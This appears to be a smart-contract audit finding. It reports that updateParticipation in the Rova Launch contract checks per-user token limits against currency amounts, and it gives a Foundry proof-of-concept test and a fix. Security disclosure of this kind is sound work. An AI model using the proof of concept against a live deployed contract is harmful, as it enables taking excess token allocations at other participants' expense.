Loud Flint Leopard

Medium

# Incorrect Token Limits Checks in `updateParticipation` Allows Excess Tokens and, Disallow Legit Participation Update

### Summary

The incorrect calculation in `updateParticipation` leads to improper token allocation, allowing a user to receive more tokens than intended. The function incorrectly enforces minimum and maximum limits using `currencyAmount` instead of `tokenAmount`, enabling a participant to bypass these restrictions.

### Root Cause

In `updateParticipation`, the following lines incorrectly enforce the minimum and maximum token limits:

[Launch.sol:361](https://github.com/sherlock-audit/2025-02-rova/blob/53fb6d71d253676bfbd00926e8f217f40c62d8c5/rova-contracts/src/Launch.sol#L355)
```solidity
if (userTokenAmount - refundCurrencyAmount < settings.minTokenAmountPerUser)
```

and
[Launch.sol:361](https://github.com/sherlock-audit/2025-02-rova/blob/53fb6d71d253676bfbd00926e8f217f40c62d8c5/rova-contracts/src/Launch.sol#L368)
```solidity
if (userTokenAmount + additionalCurrencyAmount > settings.maxTokenAmountPerUser) {
```

These checks use `currencyAmount` rather than `tokenAmount`, leading to incorrect validation and allowing excessive tokens to be allocated.


### Internal Pre-conditions

1. The user must have an active participation in a launch group.
2. The launch group must allow `updateParticipation`.
3. The `settings.minTokenAmountPerUser` and `settings.maxTokenAmountPerUser` values must be set.

### External Pre-conditions

1. The exchange rate of the token must allow significant discrepancies between `currencyAmount` and `tokenAmount`.
2. The backend must sign an `updateParticipation` request with an incorrectly calculated token amount.

### Attack Path

1. A user participates in a launch with a certain amount of currency.
2. The user calls `updateParticipation` with a request that increases their allocation.
3. Due to the incorrect limit checks, the function allows an allocation beyond the maximum limit.
4. The user receives more tokens than intended, effectively exploiting the miscalculated validation.

### Impact

The launch protocol suffers from incorrect token distribution, allowing users to receive excessive tokens. This can lead to:

- Excess token issuance, disrupting the expected allocation model.
- Potential financial losses for legitimate participants due to imbalance in distribution.
- Incorrectly blocks users based on wrong checks

### PoC

```solidity
// SPDX-License-Identifier:
pragma solidity ^0.8.22;

import {Test} from "forge-std/Test.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {
    LaunchGroupSettings,
    ParticipationRequest,
    UpdateParticipationRequest,
    ParticipationInfo,
    CurrencyConfig
} from "../src/Types.sol";

contract LaunchUpdateParticipationLimitTest is Test, LaunchTestBase {
    LaunchGroupSettings public settings;
    ParticipationRequest public originalParticipationRequest;

    function setUp() public {
        _setUpLaunch();
        settings = _setupLaunchGroup();
        originalParticipationRequest = _createParticipationRequest();
        bytes memory signature = _signRequest(abi.encode(originalParticipationRequest));

        CurrencyConfig memory currencyConfig =
        CurrencyConfig({tokenPriceBps: .5e18, isEnabled: true});
        vm.prank(manager);
        launch.setLaunchGroupCurrency(testLaunchGroupId,  address(currency), currencyConfig);


        vm.startPrank(user1);
        currency.approve(
            address(launch),
            type(uint256).max
        );
        launch.participate(originalParticipationRequest, signature);
        vm.stopPrank();
    }

    function test_UpdateParticipation_LimitBypass() public {
        UpdateParticipationRequest memory updateRequest = _createUpdateParticipationRequest(4000);
        bytes memory updateSignature = _signRequest(abi.encode(updateRequest));

        vm.startPrank(user1);
        launch.updateParticipation(updateRequest, updateSignature);
        vm.stopPrank();

        // Verify user received more tokens than max limit
        ParticipationInfo memory info = launch.getParticipationInfo(updateRequest.newLaunchParticipationId);
        assert(info.tokenAmount > settings.maxTokenAmountPerUser);
    }

    function _createUpdateParticipationRequest(uint256 newTokenAmount)
        internal
        view
        returns (UpdateParticipationRequest memory)
    {
        uint256 launchTokenDecimals = launch.tokenDecimals();
        return UpdateParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            prevLaunchParticipationId: testLaunchParticipationId,
            newLaunchParticipationId: "newLaunchParticipationId",
            userId: testUserId,
            userAddress: user1,
            tokenAmount: newTokenAmount * 10 ** launchTokenDecimals,
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
    }

}
```

### Mitigation

Ensure the correct variable (`tokenAmount`) is used when checking minimum and maximum limits:

```solidity
if (newTokenAmount < settings.minTokenAmountPerUser)
```

and

```solidity
if (newTokenAmount > settings.maxTokenAmountPerUser) {
```

This ensures proper enforcement of participation limits, preventing excess allocation of tokens.

